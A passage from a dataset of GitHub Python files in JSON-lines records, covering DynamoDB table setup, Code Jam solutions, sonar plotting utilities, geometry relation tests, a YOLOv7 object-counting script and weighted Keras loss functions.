list(formatted_attributes)\n\n\ndef create_table(name, attribs, keySchema):\n try:\n dynamo.create_table(\n TableName=name,\n AttributeDefinitions=attributes(attribs=attribs),\n KeySchema=schema(attribs=keySchema),\n ProvisionedThroughput={\n 'ReadCapacityUnits': 5,\n 'WriteCapacityUnits': 5,\n },\n )\n dynamo.get_waiter('table_exists').wait(TableName=name)\n except dynamo.exceptions.ResourceInUseException:\n pass\n except Exception as e:\n print(f\"Error creating table: {name}\")\n print(e)\n\n# Create Tables\n\n\ncreate_table(name=\"books\", attribs=[\n ['id', 'S'], ['user_id', 'S']], keySchema=[['id', 'HASH'], ['user_id', 'RANGE']])\ncreate_table(name=\"users\", attribs=[\n ['id', 'S'], ['name', 'S']], keySchema=[['id', 'HASH'], ['name', 'RANGE']])\ncreate_table(name=\"reservations\", attribs=[\n ['id', 'S'], ['user_id', 'S']], keySchema=[['id', 'HASH'], ['user_id', 'RANGE']])\ncreate_table(name=\"transactions\", attribs=[\n ['id', 'S']], keySchema=[['id', 'HASH']])\ncreate_table(name=\"checkouts\", attribs=[\n ['id', 'S']], keySchema=[['id', 'HASH']])\ncreate_table(name=\"waiting_lists\", attribs=[\n ['id', 'S'], ['book_id', 'S']], keySchema=[['id', 'HASH'], ['book_id', 'RANGE']])\n","repo_name":"SlightySmarterLibrary/admin","sub_path":"utils/setupDynamoTables.py","file_name":"setupDynamoTables.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23461853471","text":"\nmult = {'1': {'1': '1', 'i': 'i', 'j': 'j', 'k': 'k'},\n 'i': {'1': 'i', 'i': '-1', 'j': 'k', 'k': '-j'},\n 'j': {'1': 'j', 'i': '-k', 'j': '-1', 'k': 'i'},\n 'k': {'1': 'k', 'i': 'j', 'j': '-i', 'k': '-1'}}\n\n\ndef get_mult(a, b):\n minus = 0\n if a[0] == '-':\n a = a[1]\n minus += 1\n if b[0] == '-':\n b = b[1]\n minus += 1\n\n res = mult[a][b]\n\n if res[0] == '-':\n minus += 1\n res = res[1]\n\n if minus % 2 == 1:\n return '-' + res\n else:\n return res\n\n\nreverse = {'1': '1', 'i': '-i', 'j': '-j', 'k': '-k'}\n\n\ndef get_reverse(a):\n minus = 0\n\n if a[0] == '-':\n a = a[1]\n minus += 1\n\n res = reverse[a]\n\n if res[0] == '-':\n res = res[1]\n minus += 1\n\n if minus % 2 == 1:\n return '-' + res\n else:\n return res\n\n\nT = int(input())\nfor iter_num in range(1, T + 1):\n l, x = map(int, input().split())\n\n string = input() * x\n prefix = [string[0]]\n\n for char in string[1:]:\n prefix.append(get_mult(prefix[-1], char))\n\n result = False\n for i in range(len(prefix)):\n if prefix[i] == 'i':\n for j in range(i + 1, len(prefix)):\n if get_mult('-i', prefix[j]) == 'j':\n if get_mult('-k', prefix[-1]) == 'k':\n result = True\n break\n if result:\n break\n\n print(\"Case #\" + str(iter_num) + \": \" + (\"YES\" if result else \"NO\"))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_157/443.py","file_name":"443.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40785076877","text":"import io\nfrom typing import Iterable, Sequence, cast\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.typing as npt\nimport torch\nfrom matplotlib.figure import Figure\nfrom PIL import Image\n\nfrom sips import BLUE, GRAY, GREEN, RED\n\n# ==============================================================================\n# Colors\n\nCOLOR_TARGET_SONAR = BLUE\nCOLOR_SOURCE_SONAR = GREEN\nCOLOR_HIGHLIGHT = RED\nCOLOR_BACKGROUND = GRAY\nCOLOR_SEQUENCE = [RED, GREEN, BLUE, GRAY]\n\n\n# ==============================================================================\n# Util\n\n\ndef _asarray(arr: npt.ArrayLike) -> npt.NDArray[np.float32]:\n if isinstance(arr, torch.Tensor):\n return arr.cpu().float().numpy()\n return np.asarray(arr, dtype=np.float32)\n\n\n# ==============================================================================\n# Sonar Projection Arcs\n\n\ndef plot_arcs_2d(\n target_uv: torch.Tensor,\n source_uv_proj: torch.Tensor,\n height_width: Sequence[int],\n cell_size: int,\n matches: Sequence[torch.Tensor] | None = None,\n bg_image: torch.Tensor | None = None,\n *,\n target_color: str | None = COLOR_TARGET_SONAR,\n source_color: str | None = COLOR_SOURCE_SONAR,\n match_color: str | None = COLOR_HIGHLIGHT,\n) -> plt.Axes:\n \"\"\"\n Plot keypoint positions in sonar image (uv) space.\n\n Parameters\n ----------\n target_uv : torch.Tensor\n Target keypoints. Shape: (2, H, W)\n source_uv_proj : torch.Tensor\n Projected source keypoints. Shape: (N_ELEVATIONS, 2, H, W)\n height_width : Sequence[int]\n Height and width of the sonar target image.\n cell_size : int\n Number of pixels that are considered a cell.\n matches : Sequence[torch.Tensor] | None, optional\n Keypoint matches to depict the distances, by default None\n bg_image : torch.Tensor | None, optional\n Background image, by default None\n target_color : str | None, optional\n Target keypoint color, by default COLOR_TARGET_SONAR\n source_color : str | None, optional\n Source keypoint color, by default COLOR_SOURCE_SONAR\n match_color : str | None, optional\n Keypoint matches color, by default COLOR_HIGHLIGHT\n\n Returns\n -------\n plt.Axes\n Axes of the plot.\n\n \"\"\"\n # NOTE: The 'u' and 'v' dimension depict the height and width, respectively.\n # Since matplotlib first takes width then height, we flip the corresponding axis,\n # i.e., we take 'uv[1], uv[0]' instead of 'uv[0], uv[1]'.\n height, width = height_width\n\n # Set up figure\n fig = plt.figure()\n ax = fig.add_subplot()\n\n # Plot background image\n if bg_image is not None:\n image = bg_image.detach().cpu().movedim(0, -1)\n extent = [0, width, height, 0]\n ax.imshow(image, cmap=\"gray\", extent=extent, interpolation=\"nearest\")\n\n # Add grid lines to indicate the cells\n x_ticks = np.arange(0, width + 1, cell_size)\n y_ticks = np.arange(0, height + 1, cell_size)\n ax.set_xticks(x_ticks, minor=True)\n ax.set_yticks(y_ticks, minor=True)\n ax.grid(which=\"minor\", alpha=0.5)\n # Depict the axis limits\n ax.set_xticks(x_ticks[[0, -1]])\n ax.set_yticks(y_ticks[[0, -1]])\n ax.grid(which=\"major\", alpha=0.5)\n\n # Plot points / arcs\n alpha = 1\n for points_uv, color in [(target_uv, target_color), (source_uv_proj, source_color)]:\n points_uv = points_uv.detach().cpu()\n\n if points_uv.size(0) == 2:\n # Points\n ax.scatter(points_uv[1], points_uv[0], color=color, alpha=alpha)\n\n elif points_uv.size(1) == 2:\n # Points\n ax.scatter(points_uv[:, 1], points_uv[:, 0], color=color, alpha=alpha)\n # Connect with line\n lines = points_uv.flatten(2).movedim(0, 1)\n ax.plot(lines[1], lines[0], color=color, alpha=alpha)\n\n # Plot keypoint matches\n if matches is not None:\n assert len(matches) == 2 and matches[0].size(1) == matches[1].size(1)\n lines = torch.cat(list(matches), dim=-1).flatten(0, -2).detach().cpu()\n for points in lines:\n points = points.reshape(2, 2).T\n ax.plot(points[1], points[0], color=match_color)\n\n ax.set_xlim(-cell_size / 2, width + cell_size / 2)\n ax.set_ylim(-cell_size / 2, height + cell_size / 2)\n ax.set_aspect(\"equal\")\n ax.invert_yaxis()\n fig.tight_layout()\n\n return ax\n\n\ndef plot_arcs_3d(\n projection_arcs: Sequence[torch.Tensor],\n camera_positions: Sequence[torch.Tensor | None],\n *,\n colors: Sequence[str] | None = None,\n) -> plt.Axes:\n \"\"\"\n Plot projection arcs in Euclidean (xyz) space.\n\n Notes\n -----\n The default colors are configured for three sonars.\n They depict the target sonar, the source sonar, and the arcs of the source sonar\n which are visible in the target sonar, respectively.\n\n Parameters\n ----------\n projection_arcs : Sequence[torch.Tensor]\n Projection arcs to be plotted. Shape: [(N_ELEVATIONS,3,...), ...]\n camera_positions : Sequence[torch.Tensor | None]\n Camera positions for the projection arcs. Required to plot the camera origin\n with a dot. Shape: [(3,), ...]\n colors : Sequence[str] | None, optional\n Colors of the arcs and camera positions, see Notes.\n\n Returns\n -------\n plt.Axes\n Axes of the plot.\n\n \"\"\"\n if colors is None:\n colors = [COLOR_TARGET_SONAR, COLOR_SOURCE_SONAR, COLOR_HIGHLIGHT]\n\n fig = plt.figure()\n ax = fig.add_subplot(projection=\"3d\")\n\n for arcs, camera_pos, color in zip(projection_arcs, camera_positions, colors):\n # Plot camera position\n if camera_pos is not None:\n ax.scatter(*camera_pos.detach().cpu().numpy(), marker=\"o\", color=color)\n\n # Plot projection arcs\n arcs = arcs.flatten(2).permute(2, 1, 0).detach().cpu()\n for arc in arcs.numpy():\n ax.plot(*arc, color=color, alpha=0.2, linewidth=2.5)\n\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"y\")\n ax.set_zlabel(\"z\")\n ax.set_aspect(\"equal\")\n fig.tight_layout()\n\n return ax\n\n\ndef plot_topk(\n image: torch.Tensor,\n coords: torch.Tensor,\n scores: torch.Tensor,\n topk: int = 300,\n topk_color: str = COLOR_HIGHLIGHT,\n) -> tuple[plt.Axes, plt.Axes]:\n fig1 = plt.figure()\n ax1 = fig1.add_subplot()\n fig2 = plt.figure()\n ax2 = fig2.add_subplot()\n\n # Detach and put on CPU\n image = image.detach().cpu()\n coords = coords.detach().cpu()\n scores = scores.detach().cpu()\n\n # Find indices and coordinates of topk scores\n topk_values, topk_indices = scores.flatten().topk(topk)\n topk_coords = coords.flatten(1)[:, topk_indices] # (2, topk)\n\n # Plot image\n image = image.movedim(0, -1) # put channel dim at last for pyplot\n height, width, _ = image.shape\n ax1.imshow(image, cmap=\"gray\", extent=[0, width, height, 0])\n # Plot topk coordinates\n topk_coords = topk_coords.detach().cpu()\n ax1.scatter(topk_coords[1], topk_coords[0], color=topk_color, s=4)\n\n # Plot topk score histogram\n bins = torch.linspace(0, 1, 50, device=\"cpu\")\n ax2.hist(scores.flatten(), bins=bins)\n ax2.hist(topk_values, bins=bins)\n\n return ax1, ax2\n\n\ndef fig2img(\n fig: Figure,\n *,\n close_fig: bool = True,\n make_tight: bool = True,\n scale_fig: float = 1.0,\n **kwargs,\n) -> Image.Image:\n \"\"\"\n Convert a Matplotlib figure to a PIL Image and return it.\n\n \"\"\"\n # Add savefig kwargs to make image tight\n if make_tight:\n kwargs[\"bbox_inches\"] = \"tight\"\n kwargs[\"pad_inches\"] = 0\n\n # Scale figure\n if scale_fig != 1:\n fig.set_figheight(scale_fig * fig.get_figheight())\n fig.set_figwidth(scale_fig * fig.get_figwidth())\n\n # Convert to PIL\n buf = io.BytesIO()\n fig.savefig(buf, **kwargs)\n buf.seek(0)\n img = Image.open(buf)\n\n # Close image\n if close_fig:\n plt.close(fig)\n\n return img\n","repo_name":"tstreule/SIPS","sub_path":"sips/utils/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23437960891","text":"import itertools\n\ndef toBinList(list):\n\treturn map(lambda x: int(x, 2), list)\n\ndef solve(N, L, outlets, devices):\n\tsortedOutlets = sorted(outlets)\n\n\t#print(sorted(devices), sortedOutlets)\n\n\tif sorted(devices) == sortedOutlets:\n\t\treturn 0\n\n\tfor n in range(1, L + 1):\n\t\tfor s in set(itertools.permutations(['1'] * n + ['0'] * (L - n))):\n\t\t\tswitch = int(''.join(s), 2)\n\t\t\t#print(bin(switch))\n\t\t\tupdatedDevices = map(lambda x: x ^ switch, devices)\n\t\t\t#print(sorted(updatedDevices), sortedOutlets)\n\t\t\tif sorted(updatedDevices) == sortedOutlets:\n\t\t\t\treturn n\n\n\treturn \"NOT POSSIBLE\"\n\nlineNumber = -1\nresults = []\n\nfor line in open(\"A-small-attempt1.in\"):\n\tlineNumber += 1\n\n\tif lineNumber == 0:\n\t\tcontinue;\n\n\tprint(lineNumber)\n\n\tlineRemainder = lineNumber % 3\n\tvalues = map(lambda x: x.strip(), line.split(\" \"))\n\tif lineRemainder == 1:\n\t\tN, L = map(lambda x: int(x), values)\n\telif lineRemainder == 2:\n\t\toutlets = toBinList(values)\n\telse:\n\t\tdevices = toBinList(values)\n\t\t#print(N, L, map(lambda x: bin(x), outlets), map(lambda x: bin(x), devices))\n\t\tresults.append(solve(N, L, outlets, devices))\n\noutput = open(\"output1.txt\", \"w\")\nfor i in range(len(results)):\n\toutput.write(\"Case #%s: %s\\n\" % (i + 1, results[i]))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_139/509.py","file_name":"509.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43392571882","text":"###############################################################################\n# File : string_reverse.py\n# Author : Inderpal Singh Saini <inderpal2406@gmail.com>\n# Created : 31 May, 2020\n# Updated : 31 May, 2020\n# Description : A platform independent script to reverse a user entered string. \n################################################################################\n\n# Import modules\nimport os\nimport platform\nimport sys\nimport re\n\n# Define functions\n\ndef clearscreen():\n OS=platform.system()\n if OS==\"Linux\":\n os.system(\"clear\")\n else:\n os.system(\"cls\")\n return None\n\ndef string_reverse():\n mystring=input(\"Please enter a string : \")\n mylist=list(mystring)\n mylist.reverse()\n print(f\"The reversed string is : {''.join(mylist)}\")\n ans=input(\"\\nDo you want to reverse another string? \")\n pattern1=\"[yY][eE][sS]\"\n pattern2=\"[yY]\"\n pattern3=\"[nN][oO]\"\n pattern4=\"[nN]\"\n if re.fullmatch(pattern1,ans) or re.fullmatch(pattern2,ans):\n string_reverse()\n elif re.fullmatch(pattern3,ans) or re.fullmatch(pattern4,ans):\n return None\n else:\n print(f\"Invalid input. Please enter [yes|no] or [y|n]. The input can be case-insensitive. Exiting script!\")\n sys.exit(1)\n return None\n\ndef main():\n clearscreen()\n print(f\"This script will reverse the entered string.\")\n string_reverse()\n print(f\"End of Script :)\")\n return None\n\nif __name__==\"__main__\":\n main()\n","repo_name":"inderpal2406/python","sub_path":"practice_programs/scripts/string_reverse.py","file_name":"string_reverse.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4024335740","text":"triArray = list(map(int, input().split(\" \")))\n\nmaxLine = 0\n\nfor i in triArray:\n if(maxLine < i):\n maxLine = i\n\ntriArray.remove(maxLine)\n\nif(maxLine < triArray[0] + triArray[1]):\n print(\"yes\")\nelse:\n print(\"no\")","repo_name":"JinleeJeong/Algorithm","sub_path":"20년 1월/1212.py","file_name":"1212.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"74179450114","text":"from typing import Tuple\n\nfrom ground.base import (Location,\n Relation)\nfrom ground.hints import Contour\nfrom hypothesis import given\n\nfrom orient.hints import Multiregion\nfrom orient.planar import (contour_in_multiregion,\n contour_in_region,\n point_in_multiregion,\n segment_in_multiregion)\nfrom tests.utils import (LINEAR_COMPOUND_RELATIONS,\n equivalence,\n implication,\n reverse_contour,\n reverse_contour_coordinates,\n reverse_multiregion,\n reverse_multiregion_coordinates,\n reverse_multiregion_regions,\n sequence_rotations,\n to_contour_segments)\nfrom . import strategies\n\n\n@given(strategies.multiregions_with_contours)\ndef test_basic(multiregion_with_contour: Tuple[Multiregion, Contour]) -> None:\n multiregion, contour = multiregion_with_contour\n\n result = contour_in_multiregion(contour, multiregion)\n\n assert isinstance(result, Relation)\n assert result in LINEAR_COMPOUND_RELATIONS\n\n\n@given(strategies.multiregions)\ndef test_self(multiregion: Multiregion) -> None:\n assert all(contour_in_multiregion(region, multiregion)\n is Relation.COMPONENT\n for region in multiregion)\n\n\n@given(strategies.size_three_or_more_multiregions_with_contours)\ndef test_step(multiregion_with_contour: Tuple[Multiregion, Contour]) -> None:\n multiregion, contour = multiregion_with_contour\n first_region, *rest_multiregion = multiregion\n\n result = contour_in_multiregion(contour, rest_multiregion)\n next_result = contour_in_multiregion(contour, multiregion)\n\n relation_with_first_region = contour_in_region(contour, first_region)\n assert equivalence(next_result is Relation.DISJOINT,\n result is relation_with_first_region\n is Relation.DISJOINT)\n assert equivalence(next_result is Relation.TOUCH,\n result is Relation.DISJOINT\n and relation_with_first_region is Relation.TOUCH\n or result is Relation.TOUCH\n and (relation_with_first_region is Relation.DISJOINT\n or relation_with_first_region is Relation.TOUCH))\n assert equivalence(next_result is Relation.COMPONENT,\n result is Relation.COMPONENT\n or relation_with_first_region is Relation.COMPONENT)\n assert equivalence(next_result is Relation.CROSS,\n result is Relation.CROSS\n or relation_with_first_region is Relation.CROSS)\n assert equivalence(next_result is Relation.ENCLOSED,\n result is Relation.ENCLOSED\n or relation_with_first_region is Relation.ENCLOSED)\n assert equivalence(next_result is Relation.WITHIN,\n result is Relation.WITHIN\n or relation_with_first_region is Relation.WITHIN)\n\n\n@given(strategies.multiregions_with_contours)\ndef test_reversals(multiregion_with_contour: Tuple[Multiregion, Contour]\n ) -> None:\n multiregion, contour = multiregion_with_contour\n\n result = contour_in_multiregion(contour, multiregion)\n\n assert result is contour_in_multiregion(reverse_contour(contour),\n multiregion)\n assert result is contour_in_multiregion(contour,\n reverse_multiregion(multiregion))\n assert result is contour_in_multiregion(\n contour, reverse_multiregion_regions(multiregion))\n assert result is contour_in_multiregion(\n reverse_contour_coordinates(contour),\n reverse_multiregion_coordinates(multiregion))\n\n\n@given(strategies.multiregions_with_contours)\ndef test_rotations(multiregion_with_contour: Tuple[Multiregion, Contour]\n ) -> None:\n multiregion, contour = multiregion_with_contour\n\n result = contour_in_multiregion(contour, multiregion)\n\n assert all(result is contour_in_multiregion(contour, rotated)\n for rotated in sequence_rotations(multiregion))\n\n\n@given(strategies.multiregions_with_contours)\ndef test_connection_with_point_in_multiregion(\n multiregion_with_contour: Tuple[Multiregion, Contour]) -> None:\n multiregion, contour = multiregion_with_contour\n\n result = contour_in_multiregion(contour, multiregion)\n\n vertices_relations = [point_in_multiregion(vertex, multiregion)\n for vertex in contour.vertices]\n assert implication(result is Relation.DISJOINT,\n all(vertex_location is Location.EXTERIOR\n for vertex_location in vertices_relations))\n assert implication(result is Relation.TOUCH,\n all(vertex_location is not Location.INTERIOR\n for vertex_location in vertices_relations))\n assert implication(result is Relation.COMPONENT,\n all(vertex_location is Location.BOUNDARY\n for vertex_location in vertices_relations))\n assert implication(result is Relation.ENCLOSED,\n all(vertex_location is not Location.EXTERIOR\n for vertex_location in vertices_relations))\n assert implication(result is Relation.WITHIN,\n all(vertex_location is Location.INTERIOR\n for vertex_location in vertices_relations))\n assert implication(all(vertex_location is Location.EXTERIOR\n for vertex_location in vertices_relations),\n result is Relation.DISJOINT\n or result is Relation.TOUCH\n or result is Relation.CROSS)\n assert implication(all(vertex_location is Location.INTERIOR\n for vertex_location in vertices_relations),\n result is Relation.CROSS\n or result is Relation.ENCLOSED\n or result is Relation.WITHIN)\n assert implication(any(vertex_location is Location.EXTERIOR\n for vertex_location in vertices_relations)\n and any(vertex_location is Location.INTERIOR\n for vertex_location in vertices_relations),\n result is Relation.CROSS)\n\n\n@given(strategies.multiregions_with_contours)\ndef test_connection_with_segment_in_multiregion(\n multiregion_with_contour: Tuple[Multiregion, Contour]) -> None:\n multiregion, contour = multiregion_with_contour\n\n result = contour_in_multiregion(contour, multiregion)\n\n contour_segments_relations = [segment_in_multiregion(segment, multiregion)\n for segment in to_contour_segments(contour)]\n assert equivalence(result is Relation.DISJOINT,\n all(relation is Relation.DISJOINT\n for relation in contour_segments_relations))\n assert equivalence(result is Relation.TOUCH,\n all(relation is not Relation.CROSS\n and relation is not Relation.ENCLOSED\n and relation is not Relation.WITHIN\n for relation in contour_segments_relations)\n and any(relation is Relation.TOUCH\n for relation in contour_segments_relations))\n assert equivalence(result is Relation.CROSS,\n any(relation is Relation.CROSS\n for relation in contour_segments_relations)\n or any(relation is Relation.TOUCH\n or relation is Relation.DISJOINT\n for relation in contour_segments_relations)\n and any(relation is Relation.ENCLOSED\n or relation is Relation.WITHIN\n for relation in contour_segments_relations))\n assert equivalence(result is Relation.COMPONENT,\n all(relation is Relation.COMPONENT\n for relation in contour_segments_relations))\n assert equivalence(result is Relation.ENCLOSED,\n all(relation is Relation.COMPONENT\n or relation is Relation.ENCLOSED\n or relation is Relation.WITHIN\n for relation in contour_segments_relations)\n and any(relation is Relation.COMPONENT\n or relation is Relation.ENCLOSED\n for relation in contour_segments_relations)\n and any(relation is Relation.ENCLOSED\n or relation is Relation.WITHIN\n for relation in contour_segments_relations))\n assert equivalence(result is Relation.WITHIN,\n all(relation is Relation.WITHIN\n for relation in contour_segments_relations))\n","repo_name":"lycantropos/orient","sub_path":"tests/planar_tests/test_contour_in_multiregion.py","file_name":"test_contour_in_multiregion.py","file_ext":"py","file_size_in_byte":9260,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"8245741983","text":"import os\nimport os.path as osp\nimport tempfile\nfrom argparse import ArgumentParser\n\nimport mmcv\nimport cv2\nimport numpy as np\n\nfrom mmtrack.apis import init_model\nfrom mmtrack.core import results2outs\nfrom mmdet.datasets.pipelines import Compose\n\nimport torch\nfrom mmcv.parallel import collate, scatter\n\nfrom yolov7_model import YoloV7\nfrom yolo_sort import YOLOSORT\n\n\ndef change_video(input_path, output_name, ori_fps, fps, size):\n print(f'changing video {input_path} fps {fps} size {size}')\n # ffmpeg_command = (f'ffmpeg -i {input_path} -s {size[0]}x{size[1]} -b 300k -r {fps} -y {output_name}')\n # os.system(ffmpeg_command)\n return output_name\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument('--fps', help='fps', default=15)\n parser.add_argument('--size_frac', help='1/size_frac', default=1)\n parser.add_argument('--input_name', help='name without .mp4', default='VID_20220727_175808')\n parser.add_argument('--batch_size', help='detector batch size', default=32)\n args = parser.parse_args()\n\n config = 'configs/yolov7.py'\n input_path = f'/input0/0801_测试高清视频/{args.input_name}.mp4'\n ori_fps = 15\n fps = int(args.fps) #1\n batch_size = int(args.batch_size)\n ori_size = (1920, 1080)\n size_frac = 1/int(args.size_frac) #1/4\n size = (int(ori_size[0]*size_frac), int(ori_size[1]*size_frac))\n output_name = f'{args.input_name}_fps{fps}_{size[0]}x{size[1]}.mp4'\n score_thr = 0.\n device = 'cuda:0'\n show = False\n backend = 'cv2'\n checkpoint = None\n\n # input_path = change_video(input_path, output_name, ori_fps, fps, size)\n # cnt = np.array([[0.0,553.0], \n # [387.0,553.0], \n # [1920.0,661.0], \n # [1920.0,1080.0], \n # [0.0,1080.0]])\n # cnt = (cnt * size_frac).reshape([-1, 1, 2]).astype(np.int64)\n\n\n imgs = mmcv.VideoReader(input_path)\n IN_VIDEO = True\n OUT_VIDEO = True\n # out_dir = 'results/tmp/'\n out_dir = tempfile.TemporaryDirectory()\n out_path = out_dir.name\n _out = 'test.mp4'.rsplit(os.sep, 1)\n if len(_out) > 1:\n os.makedirs(_out[0], exist_ok=True)\n\n fps = fps\n if show or OUT_VIDEO:\n if fps is None and IN_VIDEO:\n fps = imgs.fps\n if not fps:\n raise ValueError('Please set the FPS for the output video.')\n fps = int(fps)\n\n # build the model from a config file and a checkpoint file\n model = init_model(config, checkpoint, device=device)\n\n prog_bar = mmcv.ProgressBar(len(imgs))\n # test and show/save the images\n all_ids = dict()\n id_count = []\n result_frame_id = 0\n for frame_id, img in enumerate(imgs):\n prog_bar.update()\n if frame_id % batch_size == 0:\n batch = []\n\n if isinstance(img, str):\n img = osp.join(input_path, img)\n # ------------------------------------\n # result = inference_mot(model, img, frame_id=frame_id)\n cfg = model.cfg\n device = next(model.parameters()).device # model device\n # prepare data\n if isinstance(img, np.ndarray):\n # directly add img\n data = dict(img=img, img_info=dict(frame_id=frame_id), img_prefix=None)\n cfg = cfg.copy()\n # set loading pipeline type\n cfg.data.test.pipeline[0].type = 'LoadImageFromWebcam'\n else:\n # add information into dict\n data = dict(\n img_info=dict(filename=img, frame_id=frame_id), img_prefix=None)\n # build the data pipeline\n test_pipeline = Compose(cfg.data.test.pipeline)\n data = test_pipeline(data)\n batch.append(data)\n if len(batch) < batch_size:\n continue\n\n data = collate(batch, samples_per_gpu=batch_size)\n data = scatter(data, [device])[0]\n\n # forward the model\n with torch.no_grad():\n results = model(return_loss=False, rescale=True, **data)\n # ------------------------------------\n\n for result in results:\n out_file = osp.join(out_path, f'{result_frame_id:06d}.jpg')\n\n ## 2.提取结果并计数\n track_bboxes = result.get('track_bboxes', None)\n track_masks = result.get('track_masks', None)\n outs_track = results2outs(\n bbox_results=track_bboxes,\n mask_results=track_masks,\n mask_shape=img.shape[:2])\n show_ids=[]\n for i in range(len(outs_track.get('labels', None))):\n label = outs_track.get('labels', None)[i]\n bbox = outs_track.get('bboxes', None)[i]\n id = outs_track.get('ids', None)[i]\n x1, y1, x2, y2, conf = bbox\n if conf < 0.9:\n continue\n # 保存小图\n # crop = img[int(y1):int(y2), int(x1):int(x2)]\n # if not os.path.exists(f'crop/{args.input_name}/'):\n # os.system(f'mkdir crop/{args.input_name}')\n # if not os.path.exists(f'crop/{args.input_name}/id_{id}/'):\n # os.system(f'mkdir crop/{args.input_name}/id_{id}')\n # cv2.imwrite(f'crop/{args.input_name}/id_{id}/frame_{frame_id}.jpg', crop)\n \n # 如果下边中点在框外面\n # if cv2.pointPolygonTest(cnt, ((x1+x2)/2, y2), False) < 0:\n # continue\n\n if id not in all_ids:\n all_ids[id] = 0\n all_ids[id] += 1\n if all_ids[id] > fps:\n show_ids.append(id)\n if id not in id_count:\n id_count.append(id)\n show_ids = sorted(show_ids)\n for i in range(len(show_ids)):\n img = cv2.putText(img, f\"{show_ids[i]}\", (50*i, 50), cv2.FONT_HERSHEY_SIMPLEX, \n 0.5, (0, 0, 255), 2)\n\n img = cv2.putText(img, f\"count: {len(id_count)}\", (0, 100), cv2.FONT_HERSHEY_SIMPLEX, \n 0.5, (0, 0, 255), 2)\n # img = cv2.drawContours(img, [cnt], -1, (0,255,0), 2)\n img = cv2.putText(img, f\"{0}\", (0, 20), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n\n model.show_result(\n img,\n result,\n score_thr=score_thr,\n show=show,\n wait_time=int(1000. / fps) if fps else 0,\n out_file=out_file,\n backend=backend)\n cv2.imwrite(out_file, img)\n result_frame_id += 1\n # break\n\n ## 3.输出结果\n count = 0\n for key in all_ids:\n if all_ids[key] > fps: # 只计算这些帧以上的\n count += 1\n # print(key)\n print('总计数:', count)\n\n mmcv.frames2video(out_path, f'results/{args.input_name}_{size[0]:04d}x{size[1]:04d}_fps{fps:02d}_{count}.mp4', fps=fps, fourcc='mp4v')\n out_dir.cleanup()\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"2793145003/yolov7","sub_path":"batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":7028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"74795697794","text":"#import pandas as pd\n#from inception import get_model, get_num_files, get_class_weights, freezer\n#from checkpoint_utils import CSVWallClockLogger, AttrDict, copy_weights_layer_by_layer, get_chckpt_info\n#from PIL import Image\nfrom functools import partial\nfrom itertools import product\n\nimport keras\n#from keras.utils import np_utils\nfrom keras.layers import Lambda\nfrom keras import backend as K\n#from keras import optimizers\n#from image import ImageDataGenerator\n#from inception import get_model, get_num_files, get_class_weights, freezer\n#from checkpoint_utils import CSVWallClockLogger, AttrDict, copy_weights_layer_by_layer, get_chckpt_info\n#from PIL import Image\n#import keras\n#from keras.utils import np_utils\n#from keras.layers import Lambda\n#from keras import backend as K\n#from keras import optimizers\n#from image import ImageDataGenerator\n#from keras.callbacks import Callback, LearningRateScheduler, ModelCheckpoint, EarlyStopping, TensorBoard, ReduceLROnPlateau\n#from memmap_tables import read_array\n#from collections import Counter\n\n#from model_surgery import capture_summary\nimport tensorflow as tf\n\ndef weighted_binary_crossentropy(y_true, y_pred, weight=0.5):\n bxe = K.binary_crossentropy(y_pred, y_true)\n weight_vector = y_true * weight + (1. - y_true) * (1 - weight)\n weight_vector = weight_vector / K.sum(weight_vector)\n wbxe = weight_vector * bxe\n return K.mean( wbxe, axis=1)\n\ndef w_categorical_crossentropy(weights):\n def _w_categorical_crossentropy(y_true, y_pred, weights):\n nb_cl = len(weights)\n final_mask = K.zeros_like(y_pred[:, 0])\n y_pred_max = K.max(y_pred, axis=1)\n y_pred_max = K.expand_dims(y_pred_max, 1)\n y_pred_max_mat = K.equal(y_pred, y_pred_max)\n for c_p, c_t in product(range(nb_cl), range(nb_cl)):\n\n final_mask += (K.cast(weights[c_t, c_p],K.floatx()) *\n K.cast(y_pred_max_mat[:, c_p] ,K.floatx()) *\n K.cast(y_true[:, c_t],K.floatx())\n )\n return K.categorical_crossentropy(y_pred, y_true) * final_mask\n\n ncce = partial(_w_categorical_crossentropy, weights=weights)\n ncce.__name__ ='w_categorical_crossentropy'\n return ncce\n\ndef weighted_sparse_softmax_cross_entropy_with_logits(y_true, logits, weights=[]):\n input_shape = y_true.shape\n output_shape=[x.value for x in input_shape[:-1]]\n y_true = Lambda(lambda x: x[:,:,:,0], output_shape=output_shape)(y_true)\n y_true = tf.cast(y_true, tf.int32)\n raw_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=y_true,\n logits=logits)\n print(\"loss shape\", raw_loss.shape)\n print(\"number of class weights:\", len(weights))\n\n w_sum = sum(weights)\n weights = [float(ww)/w_sum for ww in weights]\n\n tot_loss = []\n npixels = []\n for ii,ww in enumerate(weights):\n mask_ = tf.equal(y_true,ii)\n npix = tf.reduce_sum(tf.cast(mask_, tf.int64))\n condition = tf.greater(npix, 0)\n npixels.append(npix)\n \n masked_loss = 